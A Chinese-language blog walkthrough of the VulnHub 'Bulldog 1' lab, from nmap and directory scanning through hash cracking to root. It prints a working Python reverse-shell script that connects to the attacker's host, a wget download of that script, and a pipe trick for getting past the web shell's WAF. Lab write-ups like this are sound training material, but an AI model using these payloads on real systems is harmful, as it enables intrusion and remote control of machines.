![](https://i0.wp.com/mks.tw/wp-content/uploads/2020/01/moritz-mentges-XZuqMUiSdgc-unsplash.jpg?resize=600%2C401&ssl=1)
首先開頭還是要再來一段廢話,也沒什麼原因,就是遵照一切的文章撰寫風格,這次解的 VulnHub 的題目是 Bulldog 1 ,該系列至發文的今天僅有兩題,原先是想在過年期間解完的,但問題都卡在透過 VMWare 佈署之後,不論是哪種網路環境下都無法得到有效 IP 位址,折騰到改使用 VirtualBox 解決,總之現在連題目都解決了。
環境設定
靶機下載: https://www.vulnhub.com/entry/bulldog-1,211/
載下來之後是一個 ova 檔案,同樣直接餵給 VMWare 吃,就可以完成佈署,但是在使用 nmap 掃描的時候,壓根找不到該靶機的 IP,不論是使用 Bridged 或是 NAT 都是一樣,最後真的無解了,改餵給 VirtualBox 後,NAT 下還是有些問題,隨後是在 VirtualBox 下設置 Bridged 才順利取得 IP,並且在開機後直些顯示出靶機 IP,不過使用 Bridged 就有點半公開靶機了,尤其是在工作場合…好像有點危險。
尋找靶機
開機之後直接顯示 IP 位置給你,就如下圖一樣。
![Bulldog 1 Land page.](https://i0.wp.com/i.imgur.com/40g8zId.png?w=648&ssl=1)
![Bulldog 1 Land page.](https://i0.wp.com/i.imgur.com/40g8zId.png?w=648&ssl=1)
![Bulldog 1 Land page.](https://i0.wp.com/i.imgur.com/40g8zId.png?w=648&ssl=1)
隨後針對 VirtualBox 的網卡進行 nmap 掃描,使用指令 nmap 10.250.35.21
得到以下訊息,可見已經開啟的服務有 23、80、8080。
Nmap scan report for 192.168.0.17
Host is up (0.0011s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE
23/tcp open telnet
80/tcp open http
8080/tcp open http-proxy
服務探勘
80 port
直接瀏覽 80 Port 乍看之下是個靜態網站,找不到什麼線索,但有在 robots.txt
下看到作者刻意留下的資訊,但似乎對解題沒有幫助。
![Bulldog 1 robots.txt](https://i0.wp.com/i.imgur.com/90i1FHo.png?w=648&ssl=1)
![Bulldog 1 robots.txt](https://i0.wp.com/i.imgur.com/90i1FHo.png?w=648&ssl=1)
![Bulldog 1 robots.txt](https://i0.wp.com/i.imgur.com/90i1FHo.png?w=648&ssl=1)
透過 Wappalyzer 查看資訊,可以得到這是用 Python 寫的服務,可以猜測可能是用 SimpleHTTPServer 架的,不知道是不是這個破口,找了一下關於 SimpleHTTPServer 的 Exploit 無功而返。
![](https://i0.wp.com/i.imgur.com/gRdshfK.png?w=648&ssl=1)
![](https://i0.wp.com/i.imgur.com/gRdshfK.png?w=648&ssl=1)
![](https://i0.wp.com/i.imgur.com/gRdshfK.png?w=648&ssl=1)
然後經歷一番嘗試手動猜路徑,在 admin 找到 Djnago 的登入頁面,也嘗試弱密碼登入失敗,線索中斷的狀態下直接掃目錄,使用指令,python3 dirsearch.py -u 10.250.35.21 -w ../../db/all.txt -e *
得到以下結果。
_|. _ _ _ _ _ _|_ v0.3.9
(_||| _) (/_(_|| (_| )
Extensions: CHANGELOG.md | HTTP method: get | Threads: 10 | Wordlist size: 86765
Error Log: /home/mksyi/Tools/dirsearch/logs/errors-20-01-30_09-57-18.log
Target: 10.250.35.21
[09:57:18] Starting:
[09:57:27] 301 - 0B - /admin -> http://10.250.35.21/admin/
[09:57:28] 200 - 1KB - /
[09:58:23] 200 - 2KB - /admin/login/
[09:58:25] 200 - 3KB - /dev/
[09:58:49] 301 - 0B - /dev -> http://10.250.35.21/dev/
[09:59:10] 302 - 0B - /admin/ -> http://10.250.35.21/admin/login/?next=/admin/
Task Completed
我手動把沒意義的資訊都拿掉了,有發現 dev
路徑,而該頁面中有個 Web-Shell 的連結,進入後只有 Please authenticate with the server to use Web-Shell
的字樣,但不知道該如何使用。
回頭查看 dev 介面上的描述,並在 F12 檢視原始碼的狀態下發現奇怪的東西,貌似 Hash 值。
![](https://i0.wp.com/i.imgur.com/gZX5SjC.png?w=648&ssl=1)
![](https://i0.wp.com/i.imgur.com/gZX5SjC.png?w=648&ssl=1)
![](https://i0.wp.com/i.imgur.com/gZX5SjC.png?w=648&ssl=1)
使用 hashcat 嘗試破密,使用指令如下。
echo "d8b8dd5e7f000b8dea26ef8428caf38c04466b3e" > target_hash.txt
hashcat -O -m 100 -a 0 target_hash.txt rockyou.txt --force
- -m 100 為 SHA1
得到結果:
d8b8dd5e7f000b8dea26ef8428caf38c04466b3e:bulldoglover
藉此獲得帳戶組 sarah/bulldoglover
,並且成功在 admin 頁面中登入,並且返回到 /dev/shell/,得到以下畫面。
![Bulldog 1 Web-Shell Page.](https://i0.wp.com/i.imgur.com/RU9CNSC.png?w=648&ssl=1)
![Bulldog 1 Web-Shell Page.](https://i0.wp.com/i.imgur.com/RU9CNSC.png?w=648&ssl=1)
![Bulldog 1 Web-Shell Page.](https://i0.wp.com/i.imgur.com/RU9CNSC.png?w=648&ssl=1)
雖然可以使用一些常用指令,但還是有所限制,雖然可以寫檔案,但一開始使用 echo 寫入指令,再用 $(cat {FileName})
執行是沒有問題,但要開一個 Reverse Shell 就會得到 500,若用 echo 寫入 Python 的 Reverse Shell 也會被 WAF 擋掉,最後嘗試使用 wget。
import socket,subprocess,os
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.250.35.8",8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call(["/bin/sh","-i"])
若是要直接使用,需要修改 IP 及 Port,接著我丟到本機端的 XAMPP Server 的路徑下,直接透過 Web-Shell 下 wget 指令去下載檔案。
但是這邊有遇到一個坑,若是直接使用 wget http://10.250.35.8/rs.py
會被 WAF 擋掉,然後也發現透過 cmd1 | cmd2
的方式,cmd2 不會經過 WAF 處理,便可以繞過。
Get Root to Win.
檔案下載下來後就是執行 python rs.py
,記得還是得用 |
來繞過 WAF,然後正邊又有另一個坑,由於本機的系統是 windows,所以需要先將防火牆關掉,或是做對應的 I/O 規則,不然根本拿不到反彈回來的 Shell。
![](https://i0.wp.com/i.imgur.com/nx6U7mP.png?w=648&ssl=1)
![](https://i0.wp.com/i.imgur.com/nx6U7mP.png?w=648&ssl=1)
![](https://i0.wp.com/i.imgur.com/nx6U7mP.png?w=648&ssl=1)
接著就在本機端獲得反彈回來的 Shell 了,但還記得上一題 raven2 獲得的經驗,需要使用指令 python -c "import pty;pty.spawn('/bin/bash')"
來取得真正的 Shell,接著繼續探勘服務內容。
發現路徑 /home/bulldogadmin 底下,發現一個名為 .hiddenadmindirectory
的詭異資料夾。
django@bulldog:/home/bulldogadmin$ ls -lha
ls -lha
total 40K
drwxr-xr-x 5 bulldogadmin bulldogadmin 4.0K Sep 21 2017 .
drwxr-xr-x 4 root root 4.0K Aug 24 2017 ..
-rw-r--r-- 1 bulldogadmin bulldogadmin 220 Aug 24 2017 .bash_logout
-rw-r--r-- 1 bulldogadmin bulldogadmin 3.7K Aug 24 2017 .bashrc
drwx------ 2 bulldogadmin bulldogadmin 4.0K Aug 24 2017 .cache
drwxrwxr-x 2 bulldogadmin bulldogadmin 4.0K Sep 21 2017 .hiddenadmindirectory
drwxrwxr-x 2 bulldogadmin bulldogadmin 4.0K Aug 25 2017 .nano
-rw-r--r-- 1 bulldogadmin bulldogadmin 655 Aug 24 2017 .profile
-rw-rw-r-- 1 bulldogadmin bulldogadmin 66 Aug 25 2017 .selected_editor
-rw-r--r-- 1 bulldogadmin bulldogadmin 0 Aug 24 2017 .sudo_as_admin_successful
-rw-rw-r-- 1 bulldogadmin bulldogadmin 217 Aug 24 2017 .wget-hsts
底下包含兩個檔案,customPermissionApp
、note
,其中 customPermissionApp
是 ELF 檔,但是沒有權限執行。
django@bulldog:/home/bulldogadmin/.hiddenadmindirectory$ ls -lha
ls -lha
total 24K
drwxrwxr-x 2 bulldogadmin bulldogadmin 4.0K Sep 21 2017 .
drwxr-xr-x 5 bulldogadmin bulldogadmin 4.0K Sep 21 2017 ..
-rw-r--r-- 1 bulldogadmin bulldogadmin 8.6K Aug 26 2017 customPermissionApp
-rw-rw-r-- 1 bulldogadmin bulldogadmin 619 Sep 21 2017 note
django@bulldog:/home/bulldogadmin/.hiddenadmindirectory$ file customPermissionApp
<gadmin/.hiddenadmindirectory$ file customPermissionApp
customPermissionApp: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=c9f2333253302d74eff3da59653f82d28f9eb36f, not stripped
最後依據 CTF 經驗,餵給 strings
,得到以下結果。
django@bulldog:/home/bulldogadmin/.hiddenadmindirectory$ strings customPermissionApp
<gadmin/.hiddenadmindirectory$ strings customPermissionApp
/lib64/ld-linux-x86-64.so.2
32S0-t
libc.so.6
puts
__stack_chk_fail
system
__libc_start_main
__gmon_start__
GLIBC_2.4
GLIBC_2.2.5
UH-H
SUPERultH
imatePASH
SWORDyouH
CANTget
dH34%(
AWAVA
AUATL
[]A\A]A^A_
Please enter a valid username to use root privileges
Usage: ./customPermissionApp <username>
sudo su root
;*3$"
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
crtstuff.c
__JCR_LIST__
deregister_tm_clones
__do_global_dtors_aux
completed.7585
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
customPermissionApp.c
__FRAME_END__
__JCR_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
puts@@GLIBC_2.2.5
_edata
__stack_chk_fail@@GLIBC_2.4
system@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
_Jv_RegisterClasses
__TMC_END__
_ITM_registerTMCloneTable
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got.plt
.data
.bss
.comment
主要視點放在
SUPERultH
imatePASH
SWORDyouH
CANTget
其中後面的 H
應該是換行符號,串接起來就是 SUPERultimatePASSWORDyouCANTget
有點長,但可能是密碼,直接試試看 sudo su
,並且取得 root。
![](https://i0.wp.com/i.imgur.com/UMQ4XPJ.png?w=648&ssl=1)
![](https://i0.wp.com/i.imgur.com/UMQ4XPJ.png?w=648&ssl=1)
![](https://i0.wp.com/i.imgur.com/UMQ4XPJ.png?w=648&ssl=1)
檢討
該題目雖然有 23 Port 但實際上是跑 ssh,這是一開始使用沒有發現的,然而還有 8080 Port,實際上執行的是同一個服務,這些訊息應該是要在最一開始就整理出來的,但留到最後發現,雖然沒有用到 80 以外的服務進行解題,此部分也就顯得資訊蒐集能力的不足。
學習重點
- R e v e r s e S h e l l
- B y p a s s c m d i W A F
- 腦補能力